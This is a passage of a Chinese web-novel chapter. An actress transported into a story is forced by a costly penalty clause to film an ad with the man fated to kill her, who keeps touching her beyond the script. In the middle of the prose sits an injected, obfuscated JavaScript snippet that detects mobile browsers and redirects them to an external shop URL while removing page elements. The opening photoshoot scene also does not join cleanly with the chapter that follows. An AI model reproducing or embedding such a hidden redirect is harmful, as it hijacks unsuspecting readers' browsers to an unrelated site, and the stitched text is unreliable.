耳垂上坠着两粒小小的珍珠,是品牌方提供的高定款,价值六位数。 她从椅子上站起来,助理递过来一双拖鞋,她换上,跟着工作人员走进摄影棚。 棚里已经搭好了景——巨大的白色球形灯从顶部垂下来,地面铺了一层细沙,中间放着一张极简的亚克力椅,背景是一块环形的LED屏幕,此刻正播放着极光的画面,蓝绿色的光在棚内缓缓流动。 拍摄的主题是“水光肌”。她要推广的是一款精华液,卖点是“锁水”和“透亮”。 摄影师告诉她,这组照片的调性要“干净、透亮、有呼吸感”。她不太懂什么叫呼吸感,但她点了点头,装作很懂的样子。 站到背景板前,白色的弧度墙把她围在中间,灯光从四面八方打过来,她感觉自己是手术台上被无影灯照着的病人。 摄影师举着相机,蹲在地上,仰拍她的下颌线。他喊:“下巴抬一点,对,再多一点。眼神放空,不要看我,看你自己的鼻尖。” 她照做。 闪光灯连闪了好几下,眼前一片白。 “好,换手部特写。把滴管举到脸侧,让精华液滴下来。” 她拿起那支玻璃滴管,橡胶头捏下去,吸满透明的液体,举到颧骨上方。 轻轻一挤,一滴落在脸颊上,顺着皮肤慢慢往下滑,在灯光下像一颗透明的露珠。 14. 触碰 江映山保持着蹲姿,双手搭在膝盖上,微微偏头看着她,表情没有任何波澜,那张脸还是——眉骨高,眼窝深,瞳色浅得像被水洗过的琥珀,嘴唇微微抿着,带着一种似笑非笑的温和。 “汪总让我来帮忙。”他说,语气平淡得,“男演员临时来不了。” 白雪蘅看到周围的工作人员——化妆师举着刷子,灯光师扶着柔光箱,所有人都在看着她。 “起来。” 她强自压抑着烦躁和恐惧,低声说。 江映山站起来,退了两步,给她留出空间。 白雪蘅从沙发上坐起来,整理了一下领口,把滑到膝盖上方的裙摆扯下去,她的手指还在发抖,但表情已经稳住了。 她站起来,穿上拖鞋,走到导演面前。 “换人。” 导演张了张嘴:“白老师,这个点儿上哪儿找人去——” “换人。”她重复了一遍,声音不大,但没有任何商量的余地,“或者赔违约金,我现在就走。” 那磊从旁边走过来,搓着手,脸上挂着试图安抚一切的假笑:“白老师,这位江先生就是来帮忙的,你们认识吗?你看这都准备好了,就几个镜头——” “那先生。”白雪蘅转过头看着他,目光犀利,下有熊熊怒火,“就算我和你签了约,也不代表我事事都要听你摆布。” 配合工作可以,但是和江映山一起工作不行。 她无法接受广告拍好以后,她和江映山的脸同时出现在一个画面里。 那磊的笑容僵了一瞬。 摄影棚安静得能听见空调外机的嗡嗡声。 白雪蘅已经懒得再说,准备拿包走人。 在一旁等待的阿琴很有眼力见,把白雪蘅自己的衣服熨烫平整,准备陪她去化妆间换上。 那磊“呵呵”笑着拦住她,递给她一叠厚厚的合同,不再是刚才那种哄小孩的语气,“白老师,您把合同翻到第十二条,第四款。” 白雪蘅的手停在包带上。 那磊不紧不慢地说:“‘乙方不得以个人好恶为由拒绝与甲方指定的合作方人员合作,否则视为违约,违约金为合同总额的十倍。’您签约的时候,我提醒过您,有这一条的。” 白雪蘅的手指收紧。 她当然知道有这一条。但她当时以为“合作方人员”指的是摄影师、灯光师、化妆师这种幕后团队,她没想到有一天江映山会作为“男演员”塞进这个条款里。 “十倍是多少?”她问。 “你这支广告的酬劳是八十万。”那磊把数字说得轻飘飘的,像是在说一件不值一提的小事,“十倍八百万。你确定要赔?” 白雪蘅表情不变。 她的余额是自己都数不清几位数的程度,区区八百万,从容昭野转给她的钱里付,绰绰有余。 那磊看她没有反应,又补了一刀:“而且白老师,你要是不拍这支,后面签好的两支也自动解约。违约金照付。” 三支。 二百四十万酬劳。 十倍赔付就是两千四百万。 白雪蘅打开手机看了一眼,霸气回复:“赔就赔。” 那磊倒吸一口气。 她不是很缺钱吗?怎么两千四百万都不放在眼里? “您确定?那可是两千四百万啊!” 白雪蘅暗想,容昭野不是收购了萤星传媒吗,用他的钱赔给他自己,也没什么损失。 沉寂多日的系统忽然发出提示声: “请注意,在剧情发展中产生的消费行为,如果使用男主资金,消耗金额将叠加在改命所需金额中。即,您本来需要赚够五百万用来更改剧情,现需要赚够两千九百万。” “你说什么?!” 这下白雪蘅是真急眼了。 五百万她都赚得一个头两个大,迄今为止看不到希望,再来两千四百万……她干脆直接让江映山给个痛快吧。 那磊以为她在跟自己说话,连忙解释道:“是的,两千四百万可不是小数目啊,您只要配合拍拍广告,不光不用赔钱,还能挣不少呢,您那么聪明,不会算不赢这笔账吧?” 白雪蘅心乱如麻。 她怎么都没想到,系统还有这么大一个坑在这等着她。 但是和江映山拍广告……白雪蘅无法接受和他有亲密暧昧的动作。 她转头看过去,视线和江映山相触。 江映山一直没说话。 他坐在沙发上,双手搭膝,身体微微前倾。那张温润的脸上没有任何多余的表情。 既没有看戏的得意,也没有替她尴尬的不忍。 他只是安静地、耐心地,坐在那里。 像一只收好了爪子的猫。不是没有爪子,是还没到时候。 算了算了,这把低头不亏,谁让违约金要算在改命基金里呢……看在两千四百万的份上,忍忍吧,咱们大女人能屈能伸。 白雪蘅哄了自己半天,深吸气,一脸英勇就义地走了过去。 那磊笑眯眯地把合同收好,心道:违约金这招这么好用,后面再多广告和拍摄任务都不怕了。 江映山见白雪蘅过来,把沙发的位置让给她,自己坐在扶手上。 白雪蘅坐下的时候半是无心半是故意,撞了他一下。 只是这一下并没有把江映山撼动分毫,他稳稳地坐在那里,倒是白雪蘅自己的肩膀隐隐作痛。 ……白雪蘅借着化妆师过来补妆的空档,恶狠狠地瞪了他一眼。 江映山露出了今天的第一个真心实意的微笑。 见二人重新入场,各就各位,导演如释重负地拍了拍手:“好!各部门准备!白老师躺回去,我们重来——这次你不要睁眼,等他碰到你的脸你再——” “我知道。”白雪蘅躺下去,把脸依在靠垫上。 灯光重新调暗,落地灯的光再次在她脸上画出那个温暖的圈。 她闭上眼睛,感觉到自己的心跳还是很快,但她强迫自己把呼吸放慢。 脚步声。 蹲下的声音。 气流被挤压。 然后她感觉到一只手的影子落在她脸上。 不是触碰,是影子。他的手指悬在她脸颊上方,距离皮肤不到一厘米,但是没有碰到。 她能感觉到那个距离——不是靠温度,是靠一种说不清的、本能的对空间的感知。 他的手指从她的颧骨上方缓缓移过,沿着下颌线的方向,像在描摹一幅画的轮廓。 这不是脚本里的动作,脚本里没有“隔空描摹”,他只要直接触碰红痕就行。 白雪蘅猛地睁开眼,一把推开他悬在空中的手。 “你在干什么?” 江映山被她推开,身体只是微微后仰了一点,偏头看着她,表情无辜地恰到好处:“找角度。导演说要拍到手部特写,我在对焦。” 她看向导演,导演盯着监视器,皱眉:“他的手是有点偏,再来一条吧,白老师你别睁眼。” 不是故意的。江映山不是故意的。他在找角度,导演都说了。是她太敏感了,是她草木皆兵。 做了半天心理建设,白雪蘅才劝好自己重新躺回去。 第二次开拍。 脚步声,蹲下,凑近。 这次江映山的动作比上次快了一些,像是不想再给她反应的时间。那只手抬起来,直奔她脸上的红痕——这次没有悬停,直接落下来了。 他的指腹贴上她的脸颊,温热而干燥,力道轻得像羽毛。 但问题是——他碰的不是红痕,是她的嘴唇。 食指指腹从她下唇边缘划过,像是不小心蹭到的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557983|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白雪蘅整个人像被电击了一样从沙发上弹起来,这次她没有忍住,直接一巴掌拍开了他的手,“啪”的一声,在安静的摄影棚里格外清脆。 “江映山!”她坐直了,领口因为动作太大而滑下一截,露出肩膀。她顾不上整理,眼睛死死盯着他,“红痕在颧骨上,你碰我嘴唇干什么?” 江映山低头看了一眼自己被拍红的手背,不紧不慢地抬起头,他的表情依然是那种温和的、略带歉意的样子,但眼底有什么东西不一样了——像是鲨鱼转了身,露出了一瞬间的尖锐排齿。 “抱歉,”他的语气诚恳,“我不是故意的。” 导演又在打圆场:“白老师,江老师不是故意的,要不我们换个机位,让他从另一侧拍?你别激动。” 白雪蘅从沙发上站起来,走到监视器前看回放。画面上,他的手确实是从红痕方向过去的,只是中途偏了一点,蹭到了嘴唇。看起来确实像不小心。 她回头看了一眼江映山。他站在沙发旁边,正在向化妆师要纸巾擦手背。 他低着头,睫毛垂着,嘴角挂着一丝若有若无的弧度——笑什么?白雪蘅知道,这货绝对是故意的,他演技真好啊,白雪蘅忍不住咬牙切齿。 想也能明白,目睹了白雪蘅和那磊因为违约金起的冲突和妥协,江映山看到了她的底线,所以他不在乎她拒绝。拒绝就是两千四百万违约金,她赔不起。 他只需要等,等她耗尽所有挣扎的力气,然后乖乖躺回去,让他碰。 江映山擦完手背,抬起头,对上她的目光。那双浅色的眼睛安静得像一潭死水,但死水底下有东西在缓慢地、不可阻挡地涌动。 “白小姐,”他开口,声音轻得像在哄小孩,“还要拍吗?我尽量注意。” 白雪蘅站在监视器前,身后是导演、制片、化妆师、满屋子的工作人员。所有人的目光都在她身上——有同情,有不耐烦,有看戏。 她听到身后有人小声说:“至于吗?就碰了一下。” 没有人替她说话。因为在他们眼里,江映山是无辜的。 一个温文尔雅的圈外医生,来帮忙救场,不小心碰错了地方,被女演员当众打手,还站在原地好声好气地问“还要拍吗”。 白雪蘅觉得很荒诞。这个人——原书里骗她上船、掐死她、把她扔进公海喂鱼的人——此刻正用全世界最无辜的表情,站在灯光下,等她躺回去配合他的触碰。 而她甚至不能拒绝。 白雪蘅走回去,低声对江映山说:“最后一次。” 江映山点头,很尊重她的样子:“好。” 第三次开拍。 再一次熟悉的脚步声,蹲下,凑近。 这次江映山的手没有再悬停,而是直接落在了她的颧骨上,指腹准确无误地按在那道红痕上。 力道很轻,轻到像一片落叶。 但他没有立刻收回,而是停在那里,指腹微微压下去,像在感受她皮肤的纹理、温度、弹性。 白雪蘅忍着。没有睁眼,没有躲。 然后他的拇指动了——从她的颧骨,沿着颧弓的弧度,极慢极慢地,滑向她的太阳穴。 这个动作在脚本上没有。脚本上只有“触碰红痕”,没有“滑向太阳穴”。 但导演没有喊停。因为从镜头里看,这个动作太美了——一只骨节分明的手,在一张睡着的脸上,缓慢地、像在抚摸一件珍贵瓷器一样地滑过。 灯光打在上面,手指的阴影落在她的皮肤上,像一首慢板的曲子。 所有人都觉得这是表演。只有白雪蘅知道这不是。 因为他的拇指滑到太阳穴时,停顿了一下。 停顿的那一瞬间,他的指腹在她太阳穴上轻轻按了按,像外科医生在手术前确认切口位置。 白雪蘅的心脏猛地一缩。